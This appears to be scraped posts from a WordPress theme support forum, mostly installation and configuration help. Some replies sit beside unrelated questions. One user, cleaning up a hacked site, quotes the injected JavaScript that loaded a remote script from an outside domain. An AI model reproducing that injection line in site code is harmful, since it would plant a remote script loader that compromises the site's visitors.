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Bogdan B.
tagDiv Staff

Hello,

Please try to upload the plugin manually as you would add a new plugin from the WordPress repository and press the add new button and then hit the upload button. You will find the td-composer.zip in the main theme archive downloaded from envato .
If you still cannot install it try to install the plugin via ftp:
https://codex.wordpress.org/Managing_Plugins

Thank you!

Catalin
tagDiv Staff

Hi Chris,

You should try using the Contact Form 7 because this plugin was tested with the theme and it seems to work as expected. First installing it, you should check the plugin’s documentation because there you will find the steps which were being followed in order to achieve good results using it.

Thanks for your understanding!

flo1307
Participant
#0

Hello

I want to put AdSense on my site but when i sign up for they are asking me to put a code to verify if i am the owner of the website.
they are saying to insert it in the HTML file between <head>.
So do i have to just add the code to the theme panel>ad>header ?
Or do i have to find the html file and ad it there?

Thanks for answers

Simion C.
tagDiv Staff

Hi,

Please check the theme system status and make modifications to the parameters mentioned in this guide, if necessary
https://forum.tagdiv.com/system-status-parameters-guide/
You could ask your hosting to make them for you if needed. Then see if the issue is solved. Also check the PHP version, the theme is tested with PHP versions up to version 7.1 anything higher could cause issues.
If there is still a problem please try to deactivate all plugins except theme plugins, and clear any installed cache. Then check again.

Thanks

Simion C.
tagDiv Staff

Hi,

The tagDiv composer will be activated by default when the theme is updated or installed
https://forum.tagdiv.com/tagdiv-composer-tutorial/
If you do not want to use this composer, you can deactivate it from the plugins section, and keep using Visual composer.

Thanks

webwiser
Participant
#0

Hi Tagdiv Team,

when I want to edit my text in the Visual Composer i don’t have any options. E.g. if I click on paragraph i can’t choose h1,h2,h3, etc. the context-menu doesn’t appear. What can I do?

First I installed newsmag but changed to newspaper – could this cause any issues?

Best regards,
webwiser

Fenix
tagDiv Member

Thank you, i’ve done a fresh install and now its working fine.

Anyway, how can i fix the first issue? (My folders permissions are 755 and files 644).

imambudianto5
Participant
#0

Dear Team,

I just install WordPress Viral Quiz – BuzzFeed Quiz Builder but this plugins not compatible with newspaper theme.
From plugin development says :

“Can you please disable the lazy load feature for this page https://goo.gl/q54MAo

You can find this feature in your WordPress Theme settings. If you cannot disable for a specific page, disable it for the whole website and try again.”

My problems is noting result from personality quiz, like this url > https://goo.gl/q54MAo

Please help

Edward
tagDiv Member

Sharing site in Facebook?

You must to install WordPress (Yoast) SEO plugin.

  • This reply was modified 8 years by Edward.
Simion C.
tagDiv Staff

Hi,

Please go to the WordPress permalink settings and click Save changes
https://www.screencast.com/t/XUIlKfSpcxj
http://www.wpbeginner.com/wp-tutorials/how-to-fix-wordpress-posts-returning-404-error/
The clear any installed caching and check if the issue is resolved.

Thanks

Simion C.
tagDiv Staff

Hi,

If you have the Yoast SEO plugin installed, please check this setting and disable it
https://www.screencast.com/t/n8Cc35EofLh
This has been identified to cause the error in combination with the tagDiv composer. If this is the case disable the option and check to see if the error is still present. Also do not edit pages created in Visual composer, with the tagDiv composer.
You could take a look in the theme system status and check if these WordPress and server parameters are set according to the documentation
https://forum.tagdiv.com/system-status-parameters-guide/
You could ask your hosting to make these for you if needed.
Please let us know after trying these suggestions if you still have problems using the page editor.

Thanks

Simion C.
tagDiv Staff

Hi,

There was an issue with the mobile theme functionality in the previous update, please follow this topic for more information
https://forum.tagdiv.com/topic/mobile-tabs-not-loading/
You could try a fresh theme install by FTP using the latest theme package
https://forum.tagdiv.com/how-to-update-the-theme-2/

Thanks

Simion C.
tagDiv Staff

Hi,


@Stangerson
Please check the theme system status and check these WordPress and server parameters
https://forum.tagdiv.com/system-status-parameters-guide/
If the problem is still present, please try as a test to deactivate all plugins except theme plugins and clear any installed caching. Then check to see if everything works properly.
Let us know if the issue is fixed after trying these suggestions.

Thanks

GregWasThere
Participant
#0

Hello,
I installed WPML for the french version of my website.
But I have a problem with the main menu, I don’t have the same menu look with the “>” to see articles on a category, just when you put your mouse on a one category
https://www.nextstephub.com/
https://www.nextstephub.com/fr/
Why ?

Simion C.
tagDiv Staff

Hi,

You will have to install the Yoast SEO plugin and configure the social sharing
https://forum.tagdiv.com/facebook-share/
More useful information here in these guides
https://yoast.com/social-media-optimization-with-yoast-seo/
https://kb.yoast.com/kb/why-doesnt-facebook-display-an-image/
https://kb.yoast.com/kb/facebook-sharing-updated-details/

Thanks

tendosk8er
Participant
#0

Hi, I bought your theme, and installed demo…I activated the theme before when first use.
Now it said i need to activate the theme. when i try to click activate the theme it said
“Sorry, you are not allowed to access this page.” please help

I can’t access all posts in dashboard it said “Invalid post type.”
and all of pages in dashboard are gone…

The frontend website still works

the website is http://www.thethailanders.com

Dreschler
Participant
#0

Hello team!
I’m having trouble installing my Theme.
Version Worsd Press 4.8.1
I upload on my dashboard

Message .: Problem uploading theme: unknown

<Is there a solution to this question ?!

Thank you

cristian@dreschler.ch

pablograna
tagDiv Member

Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:

YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js&#8221;; document.head.appendChild (p);

At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.

simchris
tagDiv Member

Well, did you *do* the items in my post, like search/replace in your dbase?

Did you properly update theme by deleting old folder, same with plugins and WP install?

Unless you scrub the infection from your dbase, it will be there forever.

Cheers.

Lee
Participant
#0

I am using the newspaper theme and I notice in the plugins section it shows me the premium plugins and recommends that I install tagDiv Composer showing me ‘required’ however when I try and activate this it says ‘The plugin does not have a valid header.’ As an optional I have been able to install the ‘Visual Composer’ plugin and wanted to ask whether this is correct. I have been able to successfully install the other plugins listed: tagDiv Social Counter, Revolution Slider and tagDiv mobile theme. Do you have any idea why I cannot install the tagDiv Composer.

Afterglow
Participant
#0

Why is the admin panel telling me I have not activated my themes for all 6 sites I run them on?! I have paid you and all is installed properly. Why this insanity? It asks me for username, password, e-mail… I have to create 6 different log-ins? What is going on? This is truly insane.

peopleabroad
tagDiv Member

I get this message:
load-scripts.php?c=1&load[]=jquery-core,jquery-migrate,utils,plupload,jquery-ui-core,jquery-ui-widget,jquery-ui-mouse,jquery-ui-draggable,jquery-ui-slider,j&load[]=query-touch-punch,iris,wp-color-picker&ver=4.8.1:9 JQMIGRATE: Migrate is installed, version 1.4.1
2.jpg Failed to load resource: net::ERR_CONNECTION_TIMED_OUT

Also I updated max_input_vars from 1000 to 5000 but it won’t show up on the system panel.

What should I do? The other day, I changed the homepame. Can it be that the reason for not working anymore?

Regards

hartleym
Participant
#0

Can you please tell me how to fix the bug where the mobile menu is unresponsive for 20-30 seconds when every page loads? This issue makes the theme essentially useless.
Note:
* I have already disabled all plugins and cleared the cache and this did NOT fix the issue.
* I have re-downloaded V8.1 of the theme from Envato and re-installed it via FTP and this did NOT fix the issue.
* I have not made any code or functionality changes to the theme.

The site with the issue is: http://skunkology.com/
Many thanks.

Eloel
Participant
#0

My theme is automatically installing the TagDiv Composer plugin, but I can not use it now because I have several unique images on the site.

How to solve this?

cdavid90
Participant
#0

Hi, I’m trying to change the header of my page, instead of leaving the logo, I want to see an image that I want and I could tell you where I can change the default image in the child theme that I installed on the home page thanks

https://elescritorioviajero.com

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